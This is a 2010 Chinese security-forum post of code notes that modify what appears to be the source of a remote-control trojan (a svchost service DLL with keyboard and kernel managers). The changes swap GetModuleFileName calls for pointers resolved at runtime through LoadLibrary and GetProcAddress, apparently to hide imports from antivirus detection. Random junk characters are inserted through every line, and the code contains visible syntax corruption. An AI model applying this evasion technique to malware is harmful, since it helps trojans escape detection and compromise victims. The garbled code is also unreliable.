Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记
; {) p5 V$ l& Q4 c0 qsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h4 u  C# F) T2 F
----------------------------------------! E% [& n* n) \& U- L
DTDY.h:8 V% A* x5 {! T5 M

) ]- I: ~$ ~1 e* \+ K: N% a& B#if _MSC_VER>1000
! C. W. |9 H0 Y& t* F8 j. m2 y#pragma once
9 {& a- h/ W" |! V#endif //_MSC_VER>1000
; m% q$ G6 @% R( k" @- v#include<windows.h>7 ?* j/ P( W7 `/ _$ X
6 p& Y/ L8 s+ R) ]" `6 R7 f, }4 r8 a
typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
9 X3 ]  l5 I: T: ?! I9 zclass DTDY. F! g2 O, X9 q, f8 b* t8 T# U0 t; b
{$ Q; d' Z& A- M9 F' r+ `4 s! _
public:* C! n$ ^4 }: O* K
DTDY();
. v; H/ }6 C5 Z% B8 jvirtual ~DTDY();) d3 q& L1 q: \$ N$ x+ ]1 D/ N0 P2 u
public:9 J: H! T9 i! D% J# Z0 v
static pGetModuleFileNameA MyGetModuleFileName;4 }- N# g7 X4 s6 S# @1 K# K
static BOOL FunInitiallization();
+ E8 z, f& |0 c% t+ V9 {};8 o+ {) X! o& K! a) @' ^7 A- @5 W- q
#endif
" W5 ?5 o! J1 J9 `# c----------------------------------------
; ~* K7 }2 U/ R9 g/ Y# z: z8 M) I  Q! M+ f( p
DTDY.cpp:
6 A0 x1 ^# x6 Z  B3 d9 S/ ?: G: R9 g/ S8 {, X/ z. f
#include "DTDY.h"
; r+ E) h. D& A" S% x0 V$ FpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
1 K4 O+ A. A1 s. \" EDTDY:TDY()
9 t- @4 W% _- p9 P6 n# K: C{
- l, p4 i. Y' i- N% ^}; s& K( B- C) z# [! z* M
DTDY::~DTDY()$ u, A# t' ~, S& ^
{) s( w5 o. p& r, D* i4 |8 T! _1 }
}; `% W8 N# |5 V, m; L
BOOL DTDY::FunInitiallization()
8 G7 |/ n& _& Z$ }* N- c{
# C$ O: `8 X# N" vHMODULE hModule=LoadLibrary("kernel32.dll");
# s1 J. K9 O. @9 F" {MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
/ J' ~7 K2 Q1 h% @% sif(!MyGetModuleFileName=) return FALSE;
. z7 j% F) S) }( c, s4 k, k6 e
& ?* ^$ l* i  w2 H+ Z2 P; _3 Jreturn TRUE;" v- r% u( T& J
}3 N) J3 D' [) j4 e& k; E
----------------------------------------
8 o4 o' e/ P* }8 B" osvchost.cpp:
1 s8 Y+ |: r( E( m! J" T; S8 g9 O4 Z2 _& [, L8 [6 f# {9 }
#include "DTDY.h"$ l8 W1 Z  V! i  M% L: K  a) `
' f7 F# G: @$ N4 M- D+ s$ n
BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)* B9 d7 h- q2 R1 _( m* F8 |2 U
{" T, ?, O  c' E
switch(ul_reason_for_call): [4 J2 Y* l% T0 h$ j$ u
{
/ V9 v2 w: v7 o9 K4 V7 Scase DLL_PROCESS_ATTACH:* C) v1 n+ h# y& C: e  V) Y
if(!DTDY::FunInitiallization()) return FALSE;7 w& @) r7 \# h' C( X3 l% y. G" I
1 w+ x2 ]* E7 T
break;
. @  q2 v% q8 x0 j1 C# H: h}
9 U6 i2 r9 a6 V}+ C6 O- T* {3 v: J2 x9 `
" M; m9 E2 ]( q
! O3 _1 ]! ~. @
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
- q% ]; d4 w2 V! Y$ S  n改写为
$ Y8 V& O- m* |. H$ k. TDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
8 C9 x- ]) q- Y9 z) N----------------------------------------  V! |0 l$ r1 W0 E5 K
KernelManager.cpp:: G; U4 H  z, `" q

& {& [1 @/ @- }8 s#include "../DTDY.h"( i. |' O& d- e# O& d
GetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));% `! @" a: v& w
改写为
/ X% x2 N7 u) H; y  p( tDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));8 y- A, _% g5 T. K. s3 k
----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2